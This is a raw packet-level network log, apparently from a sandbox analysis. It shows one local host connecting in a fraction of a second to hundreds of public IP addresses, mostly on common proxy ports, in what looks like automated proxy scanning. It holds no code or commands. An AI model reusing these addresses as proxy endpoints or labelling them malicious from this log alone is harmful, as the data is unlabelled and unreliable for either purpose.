Mar 11, 2024 15:21:02.574230909 CET	80	50753	103.199.18.248	192.168.2.9
Mar 11, 2024 15:21:02.574259043 CET	11339	50922	67.43.228.251	192.168.2.9
Mar 11, 2024 15:21:02.574270964 CET	1080	50765	113.161.248.125	192.168.2.9
Mar 11, 2024 15:21:02.574285030 CET	50753	80	192.168.2.9	103.199.18.248
Mar 11, 2024 15:21:02.574472904 CET	3366	50796	212.5.143.42	192.168.2.9
Mar 11, 2024 15:21:02.574486971 CET	47344	50837	75.119.145.154	192.168.2.9
Mar 11, 2024 15:21:02.574539900 CET	50837	47344	192.168.2.9	75.119.145.154
Mar 11, 2024 15:21:02.574651957 CET	50753	80	192.168.2.9	103.199.18.248
Mar 11, 2024 15:21:02.574997902 CET	5678	50850	43.245.243.58	192.168.2.9
Mar 11, 2024 15:21:02.575217962 CET	50278	26619	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:02.575218916 CET	50132	4145	192.168.2.9	222.124.130.195
Mar 11, 2024 15:21:02.575221062 CET	49731	7497	192.168.2.9	157.230.8.196
Mar 11, 2024 15:21:02.575221062 CET	50273	59347	192.168.2.9	157.245.82.62
Mar 11, 2024 15:21:02.575232983 CET	50001	55443	192.168.2.9	103.145.45.57
Mar 11, 2024 15:21:02.575232983 CET	50013	51616	192.168.2.9	159.223.71.71
Mar 11, 2024 15:21:02.575233936 CET	50005	8080	192.168.2.9	50.113.36.155
Mar 11, 2024 15:21:02.575233936 CET	50008	23500	192.168.2.9	109.73.184.94
Mar 11, 2024 15:21:02.575233936 CET	50010	8080	192.168.2.9	46.209.207.153
Mar 11, 2024 15:21:02.575233936 CET	50006	999	192.168.2.9	8.242.85.6
Mar 11, 2024 15:21:02.575241089 CET	50007	80	192.168.2.9	51.250.13.88
Mar 11, 2024 15:21:02.575241089 CET	50004	4145	192.168.2.9	45.126.169.137
Mar 11, 2024 15:21:02.575985909 CET	80	50580	172.67.182.102	192.168.2.9
Mar 11, 2024 15:21:02.576092005 CET	50837	47344	192.168.2.9	75.119.145.154
Mar 11, 2024 15:21:02.576183081 CET	10046	50808	115.146.225.137	192.168.2.9
Mar 11, 2024 15:21:02.576242924 CET	50808	10046	192.168.2.9	115.146.225.137
Mar 11, 2024 15:21:02.576441050 CET	50808	10046	192.168.2.9	115.146.225.137
Mar 11, 2024 15:21:02.577090025 CET	80	49861	94.20.183.172	192.168.2.9
Mar 11, 2024 15:21:02.577781916 CET	1080	50030	45.234.100.112	192.168.2.9
Mar 11, 2024 15:21:02.578676939 CET	15587	50933	72.10.160.90	192.168.2.9
Mar 11, 2024 15:21:02.579287052 CET	30172	50831	176.9.119.252	192.168.2.9
Mar 11, 2024 15:21:02.579468012 CET	80	50654	103.190.54.141	192.168.2.9
Mar 11, 2024 15:21:02.579535007 CET	50654	80	192.168.2.9	103.190.54.141
Mar 11, 2024 15:21:02.579758883 CET	58612	50783	51.161.131.84	192.168.2.9
Mar 11, 2024 15:21:02.579864025 CET	50783	58612	192.168.2.9	51.161.131.84
Mar 11, 2024 15:21:02.580180883 CET	50654	80	192.168.2.9	103.190.54.141
Mar 11, 2024 15:21:02.580240011 CET	50783	58612	192.168.2.9	51.161.131.84
Mar 11, 2024 15:21:02.581770897 CET	8197	50046	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:02.582052946 CET	15864	50946	192.252.214.20	192.168.2.9
Mar 11, 2024 15:21:02.585423946 CET	80	50342	5.161.103.113	192.168.2.9
Mar 11, 2024 15:21:02.585464001 CET	80	50342	5.161.103.113	192.168.2.9
Mar 11, 2024 15:21:02.585910082 CET	80	50947	5.161.103.113	192.168.2.9
Mar 11, 2024 15:21:02.585980892 CET	50947	80	192.168.2.9	5.161.103.113
Mar 11, 2024 15:21:02.586766005 CET	50947	80	192.168.2.9	5.161.103.113
Mar 11, 2024 15:21:02.588088989 CET	80	51008	50.239.72.17	192.168.2.9
Mar 11, 2024 15:21:02.588103056 CET	8080	50306	95.84.166.138	192.168.2.9
Mar 11, 2024 15:21:02.588165998 CET	50306	8080	192.168.2.9	95.84.166.138
Mar 11, 2024 15:21:02.588258982 CET	3128	50239	13.234.24.116	192.168.2.9
Mar 11, 2024 15:21:02.588505983 CET	8080	50306	95.84.166.138	192.168.2.9
Mar 11, 2024 15:21:02.589061022 CET	50306	8080	192.168.2.9	95.84.166.138
Mar 11, 2024 15:21:02.589624882 CET	51167	8080	192.168.2.9	95.84.166.138
Mar 11, 2024 15:21:02.590199947 CET	3128	50239	13.234.24.116	192.168.2.9
Mar 11, 2024 15:21:02.590712070 CET	50016	1080	192.168.2.9	200.170.196.94
Mar 11, 2024 15:21:02.590719938 CET	50186	80	192.168.2.9	50.174.7.152
Mar 11, 2024 15:21:02.590734959 CET	50027	8080	192.168.2.9	201.157.254.26
Mar 11, 2024 15:21:02.590734959 CET	50026	80	192.168.2.9	103.197.71.7
Mar 11, 2024 15:21:02.590739012 CET	50212	80	192.168.2.9	50.173.140.145
Mar 11, 2024 15:21:02.590764046 CET	50009	80	192.168.2.9	190.110.226.162
Mar 11, 2024 15:21:02.590764046 CET	50015	1080	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:02.590765953 CET	50029	999	192.168.2.9	190.95.195.105
Mar 11, 2024 15:21:02.590766907 CET	49752	29212	192.168.2.9	92.204.135.203
Mar 11, 2024 15:21:02.590766907 CET	50020	61778	192.168.2.9	92.249.122.108
Mar 11, 2024 15:21:02.590774059 CET	50022	6979	192.168.2.9	115.127.190.42
Mar 11, 2024 15:21:02.590774059 CET	50024	44444	192.168.2.9	165.16.55.19
Mar 11, 2024 15:21:02.590775967 CET	50028	47585	192.168.2.9	192.163.202.88
Mar 11, 2024 15:21:02.590801954 CET	50019	4153	192.168.2.9	169.239.45.51
Mar 11, 2024 15:21:02.591160059 CET	50239	3128	192.168.2.9	13.234.24.116
Mar 11, 2024 15:21:02.594089031 CET	3128	50428	84.39.112.144	192.168.2.9
Mar 11, 2024 15:21:02.594165087 CET	50428	3128	192.168.2.9	84.39.112.144
Mar 11, 2024 15:21:02.594387054 CET	3128	50428	84.39.112.144	192.168.2.9
Mar 11, 2024 15:21:02.594460011 CET	50428	3128	192.168.2.9	84.39.112.144
Mar 11, 2024 15:21:02.594486952 CET	80	49962	50.173.140.149	192.168.2.9
Mar 11, 2024 15:21:02.594888926 CET	1080	50815	202.21.112.172	192.168.2.9
Mar 11, 2024 15:21:02.595024109 CET	51168	3128	192.168.2.9	84.39.112.144
Mar 11, 2024 15:21:02.595185041 CET	23685	50944	67.43.227.230	192.168.2.9
Mar 11, 2024 15:21:02.595976114 CET	3199	50949	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:02.597464085 CET	10677	50053	72.10.160.173	192.168.2.9
Mar 11, 2024 15:21:02.598762989 CET	80	50870	165.231.101.229	192.168.2.9
Mar 11, 2024 15:21:02.598839045 CET	50870	80	192.168.2.9	165.231.101.229
Mar 11, 2024 15:21:02.599293947 CET	50870	80	192.168.2.9	165.231.101.229
Mar 11, 2024 15:21:02.599302053 CET	34455	51042	162.241.137.197	192.168.2.9
Mar 11, 2024 15:21:02.599474907 CET	4145	50570	184.181.217.206	192.168.2.9
Mar 11, 2024 15:21:02.599803925 CET	4145	50570	184.181.217.206	192.168.2.9
Mar 11, 2024 15:21:02.600441933 CET	20896	50735	91.134.140.160	192.168.2.9
Mar 11, 2024 15:21:02.600487947 CET	20896	50735	91.134.140.160	192.168.2.9
Mar 11, 2024 15:21:02.601480961 CET	51169	4145	192.168.2.9	184.181.217.206
Mar 11, 2024 15:21:02.601964951 CET	8888	50354	47.114.101.57	192.168.2.9
Mar 11, 2024 15:21:02.602086067 CET	8888	50354	47.114.101.57	192.168.2.9
Mar 11, 2024 15:21:02.602147102 CET	8888	50354	47.114.101.57	192.168.2.9
Mar 11, 2024 15:21:02.602186918 CET	50354	8888	192.168.2.9	47.114.101.57
Mar 11, 2024 15:21:02.602197886 CET	51170	20896	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.602333069 CET	50354	8888	192.168.2.9	47.114.101.57
Mar 11, 2024 15:21:02.604332924 CET	8193	50088	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:02.606329918 CET	50364	32233	192.168.2.9	162.214.170.144
Mar 11, 2024 15:21:02.606347084 CET	50045	80	192.168.2.9	81.250.223.126
Mar 11, 2024 15:21:02.606347084 CET	50017	1234	192.168.2.9	103.52.17.69
Mar 11, 2024 15:21:02.606369019 CET	50018	27294	192.168.2.9	51.38.63.124
Mar 11, 2024 15:21:02.606369019 CET	50155	8080	192.168.2.9	46.105.35.193
Mar 11, 2024 15:21:02.606379986 CET	50194	4145	192.168.2.9	37.34.72.132
Mar 11, 2024 15:21:02.606389999 CET	50055	8635	192.168.2.9	51.159.221.176
Mar 11, 2024 15:21:02.606389999 CET	50050	80	192.168.2.9	85.8.68.2
Mar 11, 2024 15:21:02.606389999 CET	50034	58266	192.168.2.9	151.236.39.7
Mar 11, 2024 15:21:02.606493950 CET	50021	4153	192.168.2.9	119.18.158.130
Mar 11, 2024 15:21:02.606528044 CET	50289	80	192.168.2.9	50.168.210.226
Mar 11, 2024 15:21:02.606529951 CET	50043	80	192.168.2.9	45.124.184.13
Mar 11, 2024 15:21:02.608119011 CET	8193	50871	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:02.608198881 CET	50871	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:02.609555006 CET	8193	50088	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:02.610863924 CET	50871	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:02.611057043 CET	8123	49941	20.205.61.143	192.168.2.9
Mar 11, 2024 15:21:02.611310005 CET	1080	50366	84.22.45.175	192.168.2.9
Mar 11, 2024 15:21:02.611448050 CET	1080	50366	84.22.45.175	192.168.2.9
Mar 11, 2024 15:21:02.611460924 CET	36181	49885	69.61.200.104	192.168.2.9
Mar 11, 2024 15:21:02.611500978 CET	36181	49885	69.61.200.104	192.168.2.9
Mar 11, 2024 15:21:02.611509085 CET	50366	1080	192.168.2.9	84.22.45.175
Mar 11, 2024 15:21:02.611751080 CET	80	50611	104.21.194.182	192.168.2.9
Mar 11, 2024 15:21:02.611768961 CET	80	50609	104.25.115.125	192.168.2.9
Mar 11, 2024 15:21:02.612134933 CET	1080	50755	65.1.244.232	192.168.2.9
Mar 11, 2024 15:21:02.612148046 CET	80	50610	203.24.109.230	192.168.2.9
Mar 11, 2024 15:21:02.612238884 CET	50755	1080	192.168.2.9	65.1.244.232
Mar 11, 2024 15:21:02.613189936 CET	80	50476	134.209.189.42	192.168.2.9
Mar 11, 2024 15:21:02.613203049 CET	80	50476	134.209.189.42	192.168.2.9
Mar 11, 2024 15:21:02.613296986 CET	80	50476	134.209.189.42	192.168.2.9
Mar 11, 2024 15:21:02.613382101 CET	50476	80	192.168.2.9	134.209.189.42
Mar 11, 2024 15:21:02.614362955 CET	5678	50722	79.127.35.243	192.168.2.9
Mar 11, 2024 15:21:02.618228912 CET	80	50635	104.24.35.152	192.168.2.9
Mar 11, 2024 15:21:02.618310928 CET	48738	51056	199.85.209.166	192.168.2.9
Mar 11, 2024 15:21:02.618383884 CET	51056	48738	192.168.2.9	199.85.209.166
Mar 11, 2024 15:21:02.618437052 CET	80	50859	172.67.181.197	192.168.2.9
Mar 11, 2024 15:21:02.618453026 CET	80	50859	172.67.181.197	192.168.2.9
Mar 11, 2024 15:21:02.619530916 CET	80	50859	172.67.181.197	192.168.2.9
Mar 11, 2024 15:21:02.619548082 CET	80	50884	3.127.62.252	192.168.2.9
Mar 11, 2024 15:21:02.619584084 CET	50859	80	192.168.2.9	172.67.181.197
Mar 11, 2024 15:21:02.620277882 CET	50884	80	192.168.2.9	3.127.62.252
Mar 11, 2024 15:21:02.621977091 CET	49780	80	192.168.2.9	50.145.6.32
Mar 11, 2024 15:21:02.621990919 CET	50044	2525	192.168.2.9	160.248.80.91
Mar 11, 2024 15:21:02.621999979 CET	50295	80	192.168.2.9	50.168.210.232
Mar 11, 2024 15:21:02.621999979 CET	50042	80	192.168.2.9	200.10.150.115
Mar 11, 2024 15:21:02.621999979 CET	50048	3128	192.168.2.9	46.21.153.16
Mar 11, 2024 15:21:02.622025013 CET	50078	46475	192.168.2.9	88.202.230.103
Mar 11, 2024 15:21:02.622220993 CET	50049	9002	192.168.2.9	111.16.50.12
Mar 11, 2024 15:21:02.622225046 CET	50052	8080	192.168.2.9	103.134.165.38
Mar 11, 2024 15:21:02.622226000 CET	50250	80	192.168.2.9	50.174.214.222
Mar 11, 2024 15:21:02.623764038 CET	50366	1080	192.168.2.9	84.22.45.175
Mar 11, 2024 15:21:02.624080896 CET	8000	51041	198.199.120.65	192.168.2.9
Mar 11, 2024 15:21:02.624187946 CET	51041	8000	192.168.2.9	198.199.120.65
Mar 11, 2024 15:21:02.624471903 CET	51171	1080	192.168.2.9	84.22.45.175
Mar 11, 2024 15:21:02.624663115 CET	50476	80	192.168.2.9	134.209.189.42
Mar 11, 2024 15:21:02.625787973 CET	80	50866	20.206.106.192	192.168.2.9
Mar 11, 2024 15:21:02.626117945 CET	50866	80	192.168.2.9	20.206.106.192
Mar 11, 2024 15:21:02.627255917 CET	9764	50396	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:02.628763914 CET	1645	51044	72.10.164.178	192.168.2.9
Mar 11, 2024 15:21:02.630312920 CET	9764	51051	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:02.631550074 CET	9764	50396	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:02.631565094 CET	80	50659	172.67.182.38	192.168.2.9
Mar 11, 2024 15:21:02.631582022 CET	51051	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:02.633724928 CET	3128	50854	81.177.6.68	192.168.2.9
Mar 11, 2024 15:21:02.634227991 CET	15673	50883	47.242.15.120	192.168.2.9
Mar 11, 2024 15:21:02.634243011 CET	8193	50091	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:02.634259939 CET	50854	3128	192.168.2.9	81.177.6.68
Mar 11, 2024 15:21:02.634283066 CET	50883	15673	192.168.2.9	47.242.15.120
Mar 11, 2024 15:21:02.634331942 CET	8193	50091	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:02.634932995 CET	51056	48738	192.168.2.9	199.85.209.166
Mar 11, 2024 15:21:02.635945082 CET	8080	49811	84.241.8.234	192.168.2.9
Mar 11, 2024 15:21:02.636811018 CET	50859	80	192.168.2.9	172.67.181.197
Mar 11, 2024 15:21:02.636818886 CET	3128	49734	165.232.158.60	192.168.2.9
Mar 11, 2024 15:21:02.637424946 CET	50884	80	192.168.2.9	3.127.62.252
Mar 11, 2024 15:21:02.637581110 CET	50149	80	192.168.2.9	190.58.248.86
Mar 11, 2024 15:21:02.637603045 CET	50320	16683	192.168.2.9	72.10.160.94
Mar 11, 2024 15:21:02.637603998 CET	50363	80	192.168.2.9	50.145.6.38
Mar 11, 2024 15:21:02.637603998 CET	50268	80	192.168.2.9	50.217.226.40
Mar 11, 2024 15:21:02.637605906 CET	50047	3888	192.168.2.9	1.224.3.122
Mar 11, 2024 15:21:02.637687922 CET	4145	51057	142.54.239.1	192.168.2.9
Mar 11, 2024 15:21:02.637703896 CET	44844	50862	49.75.17.108	192.168.2.9
Mar 11, 2024 15:21:02.637727976 CET	50264	80	192.168.2.9	35.180.188.216
Mar 11, 2024 15:21:02.637727976 CET	50051	5905	192.168.2.9	31.211.158.245
Mar 11, 2024 15:21:02.637731075 CET	50281	80	192.168.2.9	50.218.57.64
Mar 11, 2024 15:21:02.637739897 CET	3128	50523	18.134.236.231	192.168.2.9
Mar 11, 2024 15:21:02.638216019 CET	15673	50877	43.133.74.172	192.168.2.9
Mar 11, 2024 15:21:02.638375998 CET	50877	15673	192.168.2.9	43.133.74.172
Mar 11, 2024 15:21:02.639931917 CET	3128	50523	18.134.236.231	192.168.2.9
Mar 11, 2024 15:21:02.641366959 CET	31145	50388	195.138.73.54	192.168.2.9
Mar 11, 2024 15:21:02.642978907 CET	31145	50388	195.138.73.54	192.168.2.9
Mar 11, 2024 15:21:02.643042088 CET	50388	31145	192.168.2.9	195.138.73.54
Mar 11, 2024 15:21:02.643750906 CET	80	50978	52.196.1.182	192.168.2.9
Mar 11, 2024 15:21:02.643821955 CET	50978	80	192.168.2.9	52.196.1.182
Mar 11, 2024 15:21:02.644762993 CET	50755	1080	192.168.2.9	65.1.244.232
Mar 11, 2024 15:21:02.644784927 CET	80	51111	104.16.106.65	192.168.2.9
Mar 11, 2024 15:21:02.644870043 CET	51111	80	192.168.2.9	104.16.106.65
Mar 11, 2024 15:21:02.645070076 CET	51041	8000	192.168.2.9	198.199.120.65
Mar 11, 2024 15:21:02.645443916 CET	50866	80	192.168.2.9	20.206.106.192
Mar 11, 2024 15:21:02.645741940 CET	51051	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:02.646065950 CET	50854	3128	192.168.2.9	81.177.6.68
Mar 11, 2024 15:21:02.646214008 CET	51172	36181	192.168.2.9	69.61.200.104
Mar 11, 2024 15:21:02.646373034 CET	50883	15673	192.168.2.9	47.242.15.120
Mar 11, 2024 15:21:02.646718025 CET	50388	31145	192.168.2.9	195.138.73.54
Mar 11, 2024 15:21:02.647011995 CET	50877	15673	192.168.2.9	43.133.74.172
Mar 11, 2024 15:21:02.647366047 CET	50978	80	192.168.2.9	52.196.1.182
Mar 11, 2024 15:21:02.647700071 CET	51173	31145	192.168.2.9	195.138.73.54
Mar 11, 2024 15:21:02.647833109 CET	51111	80	192.168.2.9	104.16.106.65
Mar 11, 2024 15:21:02.648089886 CET	50523	3128	192.168.2.9	18.134.236.231
Mar 11, 2024 15:21:02.648135900 CET	80	50942	50.172.75.126	192.168.2.9
Mar 11, 2024 15:21:02.648153067 CET	80	49992	35.72.118.126	192.168.2.9
Mar 11, 2024 15:21:02.649415970 CET	8080	49866	125.212.231.220	192.168.2.9
Mar 11, 2024 15:21:02.650882959 CET	8083	50910	196.20.125.145	192.168.2.9
Mar 11, 2024 15:21:02.650898933 CET	15673	50921	8.217.44.229	192.168.2.9
Mar 11, 2024 15:21:02.650912046 CET	8081	50688	154.72.90.74	192.168.2.9
Mar 11, 2024 15:21:02.651004076 CET	50921	15673	192.168.2.9	8.217.44.229
Mar 11, 2024 15:21:02.651076078 CET	50910	8083	192.168.2.9	196.20.125.145
Mar 11, 2024 15:21:02.651231050 CET	50910	8083	192.168.2.9	196.20.125.145
Mar 11, 2024 15:21:02.651446104 CET	50921	15673	192.168.2.9	8.217.44.229
Mar 11, 2024 15:21:02.653208971 CET	50323	80	192.168.2.9	172.93.213.177
Mar 11, 2024 15:21:02.653208017 CET	50421	4145	192.168.2.9	107.181.168.145
Mar 11, 2024 15:21:02.653266907 CET	50274	80	192.168.2.9	50.217.226.46
Mar 11, 2024 15:21:02.653266907 CET	50057	16379	192.168.2.9	163.172.131.178
Mar 11, 2024 15:21:02.653270006 CET	50058	1981	192.168.2.9	41.33.66.228
Mar 11, 2024 15:21:02.653270006 CET	50059	38088	192.168.2.9	148.72.209.174
Mar 11, 2024 15:21:02.653270960 CET	49740	80	192.168.2.9	50.220.168.134
Mar 11, 2024 15:21:02.653274059 CET	50063	48993	192.168.2.9	181.212.136.34
Mar 11, 2024 15:21:02.653274059 CET	50054	4145	192.168.2.9	103.51.44.5
Mar 11, 2024 15:21:02.654093027 CET	50259	9050	192.168.2.9	141.95.86.243
Mar 11, 2024 15:21:02.654093981 CET	50061	1994	192.168.2.9	45.188.164.3
Mar 11, 2024 15:21:02.654562950 CET	8193	50904	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:02.654578924 CET	4145	51124	184.178.172.11	192.168.2.9
Mar 11, 2024 15:21:02.654649019 CET	51124	4145	192.168.2.9	184.178.172.11
Mar 11, 2024 15:21:02.654916048 CET	50904	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.656645060 CET	50904	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.657352924 CET	80	51133	172.67.181.58	192.168.2.9
Mar 11, 2024 15:21:02.657428026 CET	51133	80	192.168.2.9	172.67.181.58
Mar 11, 2024 15:21:02.657563925 CET	80	51087	50.207.199.83	192.168.2.9
Mar 11, 2024 15:21:02.657577991 CET	51133	80	192.168.2.9	172.67.181.58
Mar 11, 2024 15:21:02.659424067 CET	80	50965	50.174.145.11	192.168.2.9
Mar 11, 2024 15:21:02.660466909 CET	5881	50106	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:02.663985014 CET	3128	50483	213.17.246.46	192.168.2.9
Mar 11, 2024 15:21:02.664767981 CET	8080	49971	78.47.103.89	192.168.2.9
Mar 11, 2024 15:21:02.664782047 CET	38832	50894	128.199.196.31	192.168.2.9
Mar 11, 2024 15:21:02.664890051 CET	50894	38832	192.168.2.9	128.199.196.31
Mar 11, 2024 15:21:02.666349888 CET	80	50623	31.223.184.143	192.168.2.9
Mar 11, 2024 15:21:02.668833017 CET	49975	999	192.168.2.9	181.209.78.76
Mar 11, 2024 15:21:02.668848991 CET	50276	18940	192.168.2.9	144.91.107.252
Mar 11, 2024 15:21:02.668849945 CET	50352	24809	192.168.2.9	72.10.160.90
Mar 11, 2024 15:21:02.668869972 CET	50362	10713	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:02.668870926 CET	49775	11679	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:02.668870926 CET	50056	23637	192.168.2.9	37.187.73.7
Mar 11, 2024 15:21:02.668873072 CET	50065	80	192.168.2.9	37.221.197.165
Mar 11, 2024 15:21:02.668883085 CET	50068	5678	192.168.2.9	103.85.103.17
Mar 11, 2024 15:21:02.668884993 CET	50072	4153	192.168.2.9	93.171.224.46
Mar 11, 2024 15:21:02.668885946 CET	49772	5385	192.168.2.9	72.10.160.170
Mar 11, 2024 15:21:02.668888092 CET	50067	4145	192.168.2.9	45.65.229.19
Mar 11, 2024 15:21:02.668895006 CET	50079	80	192.168.2.9	159.8.114.37
Mar 11, 2024 15:21:02.668898106 CET	50071	39757	192.168.2.9	209.126.4.217
Mar 11, 2024 15:21:02.668900013 CET	50075	1080	192.168.2.9	189.126.14.226
Mar 11, 2024 15:21:02.668900967 CET	50060	8002	192.168.2.9	103.6.177.174
Mar 11, 2024 15:21:02.668900967 CET	50076	8080	192.168.2.9	194.124.36.75
Mar 11, 2024 15:21:02.668900013 CET	50066	61634	192.168.2.9	107.180.103.214
Mar 11, 2024 15:21:02.668904066 CET	50069	43188	192.168.2.9	182.16.171.65
Mar 11, 2024 15:21:02.668908119 CET	50074	80	192.168.2.9	190.5.77.211
Mar 11, 2024 15:21:02.668904066 CET	50070	30747	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:02.668922901 CET	50080	6821	192.168.2.9	198.12.255.193
Mar 11, 2024 15:21:02.668951988 CET	50081	52326	192.168.2.9	132.148.16.169
Mar 11, 2024 15:21:02.668951988 CET	50369	2509	192.168.2.9	67.43.228.250
Mar 11, 2024 15:21:02.670521975 CET	4145	51113	206.220.175.2	192.168.2.9
Mar 11, 2024 15:21:02.671958923 CET	80	51016	50.223.246.226	192.168.2.9
Mar 11, 2024 15:21:02.673002005 CET	80	51001	50.174.7.159	192.168.2.9
Mar 11, 2024 15:21:02.673990011 CET	50894	38832	192.168.2.9	128.199.196.31
Mar 11, 2024 15:21:02.675868034 CET	51174	80	192.168.2.9	50.223.239.190
Mar 11, 2024 15:21:02.676357985 CET	4145	50645	72.210.221.223	192.168.2.9
Mar 11, 2024 15:21:02.676414013 CET	4145	50645	72.210.221.223	192.168.2.9
Mar 11, 2024 15:21:02.676647902 CET	49725	80	192.168.2.9	50.218.57.71
Mar 11, 2024 15:21:02.677640915 CET	51175	57114	192.168.2.9	222.129.37.92
Mar 11, 2024 15:21:02.678102970 CET	51177	52577	192.168.2.9	162.214.121.173
Mar 11, 2024 15:21:02.678191900 CET	51176	4145	192.168.2.9	72.210.221.223
Mar 11, 2024 15:21:02.678206921 CET	4145	50827	104.37.135.145	192.168.2.9
Mar 11, 2024 15:21:02.678261042 CET	4145	50827	104.37.135.145	192.168.2.9
Mar 11, 2024 15:21:02.678770065 CET	51179	999	192.168.2.9	200.125.184.56
Mar 11, 2024 15:21:02.678952932 CET	51178	24863	192.168.2.9	67.43.236.19
Mar 11, 2024 15:21:02.678952932 CET	51180	8080	192.168.2.9	94.26.241.120
Mar 11, 2024 15:21:02.679132938 CET	51181	3128	192.168.2.9	3.37.125.76
Mar 11, 2024 15:21:02.679394960 CET	51182	8080	192.168.2.9	188.132.222.38
Mar 11, 2024 15:21:02.679414988 CET	51183	3128	192.168.2.9	193.56.255.179
Mar 11, 2024 15:21:02.679455996 CET	3080	50905	149.154.69.203	192.168.2.9
Mar 11, 2024 15:21:02.679470062 CET	8080	50999	89.42.166.163	192.168.2.9
Mar 11, 2024 15:21:02.679591894 CET	50999	8080	192.168.2.9	89.42.166.163
Mar 11, 2024 15:21:02.679759026 CET	51184	3129	192.168.2.9	20.219.177.38
Mar 11, 2024 15:21:02.679790020 CET	51185	4153	192.168.2.9	45.233.3.1
Mar 11, 2024 15:21:02.680027962 CET	51186	8123	192.168.2.9	159.8.114.37
Mar 11, 2024 15:21:02.680146933 CET	51187	8880	192.168.2.9	103.234.24.105
Mar 11, 2024 15:21:02.680546999 CET	51188	8090	192.168.2.9	202.191.123.195
Mar 11, 2024 15:21:02.680569887 CET	51189	31701	192.168.2.9	162.214.170.144
Mar 11, 2024 15:21:02.680768967 CET	51191	8080	192.168.2.9	102.216.69.176
Mar 11, 2024 15:21:02.681014061 CET	51192	8080	192.168.2.9	181.212.45.228
Mar 11, 2024 15:21:02.681348085 CET	51194	8080	192.168.2.9	119.18.149.34
Mar 11, 2024 15:21:02.681399107 CET	51193	4145	192.168.2.9	189.201.191.66
Mar 11, 2024 15:21:02.681765079 CET	51196	999	192.168.2.9	177.234.194.158
Mar 11, 2024 15:21:02.681828976 CET	80	50683	104.23.141.196	192.168.2.9
Mar 11, 2024 15:21:02.681910038 CET	51195	62916	192.168.2.9	51.222.241.8
Mar 11, 2024 15:21:02.682049036 CET	80	50961	94.130.94.45	192.168.2.9
Mar 11, 2024 15:21:02.682111979 CET	50961	80	192.168.2.9	94.130.94.45
Mar 11, 2024 15:21:02.682116985 CET	51197	41466	192.168.2.9	138.255.240.66
Mar 11, 2024 15:21:02.682853937 CET	50999	8080	192.168.2.9	89.42.166.163
Mar 11, 2024 15:21:02.683126926 CET	51198	80	192.168.2.9	50.217.226.42
Mar 11, 2024 15:21:02.683660984 CET	51199	80	192.168.2.9	162.159.241.12
Mar 11, 2024 15:21:02.683718920 CET	51200	80	192.168.2.9	104.21.64.208
Mar 11, 2024 15:21:02.684439898 CET	50077	8888	192.168.2.9	45.82.15.11
Mar 11, 2024 15:21:02.684453011 CET	50092	3128	192.168.2.9	83.219.145.108
Mar 11, 2024 15:21:02.684454918 CET	50298	8080	192.168.2.9	201.184.63.218
Mar 11, 2024 15:21:02.684457064 CET	50096	3128	192.168.2.9	154.0.14.116
Mar 11, 2024 15:21:02.684477091 CET	50203	8085	192.168.2.9	95.38.95.40
Mar 11, 2024 15:21:02.684478045 CET	50083	8080	192.168.2.9	103.74.229.133
Mar 11, 2024 15:21:02.684478045 CET	50073	8901	192.168.2.9	94.124.16.218
Mar 11, 2024 15:21:02.684545994 CET	16487	50874	91.134.140.160	192.168.2.9
Mar 11, 2024 15:21:02.684560061 CET	50094	8674	192.168.2.9	103.54.36.90
Mar 11, 2024 15:21:02.684561014 CET	7117	51069	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:02.684564114 CET	50104	9090	192.168.2.9	189.240.60.163
Mar 11, 2024 15:21:02.684565067 CET	50100	3128	192.168.2.9	103.231.248.98
Mar 11, 2024 15:21:02.684845924 CET	51201	4145	192.168.2.9	104.37.135.145
Mar 11, 2024 15:21:02.684981108 CET	16487	50874	91.134.140.160	192.168.2.9
Mar 11, 2024 15:21:02.685340881 CET	50961	80	192.168.2.9	94.130.94.45
Mar 11, 2024 15:21:02.685396910 CET	15673	50954	8.217.143.187	192.168.2.9
Mar 11, 2024 15:21:02.685456038 CET	50954	15673	192.168.2.9	8.217.143.187
Mar 11, 2024 15:21:02.685729980 CET	80	50716	104.23.126.8	192.168.2.9
Mar 11, 2024 15:21:02.686506987 CET	51202	16487	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.686556101 CET	80	50040	50.218.57.67	192.168.2.9
Mar 11, 2024 15:21:02.686912060 CET	3629	50898	14.115.106.116	192.168.2.9
Mar 11, 2024 15:21:02.687438011 CET	50954	15673	192.168.2.9	8.217.143.187
Mar 11, 2024 15:21:02.687683105 CET	51203	2016	192.168.2.9	139.59.128.40
Mar 11, 2024 15:21:02.687818050 CET	51204	1080	192.168.2.9	3.108.115.48
Mar 11, 2024 15:21:02.687895060 CET	80	50719	173.245.49.27	192.168.2.9
Mar 11, 2024 15:21:02.688038111 CET	80	50972	203.23.104.167	192.168.2.9
Mar 11, 2024 15:21:02.688066959 CET	80	50731	104.16.105.146	192.168.2.9
Mar 11, 2024 15:21:02.688079119 CET	80	50972	203.23.104.167	192.168.2.9
Mar 11, 2024 15:21:02.688195944 CET	80	50988	104.20.233.70	192.168.2.9
Mar 11, 2024 15:21:02.688208103 CET	80	50988	104.20.233.70	192.168.2.9
Mar 11, 2024 15:21:02.688225985 CET	80	50966	172.67.181.147	192.168.2.9
Mar 11, 2024 15:21:02.688239098 CET	80	50966	172.67.181.147	192.168.2.9
Mar 11, 2024 15:21:02.688401937 CET	50972	80	192.168.2.9	203.23.104.167
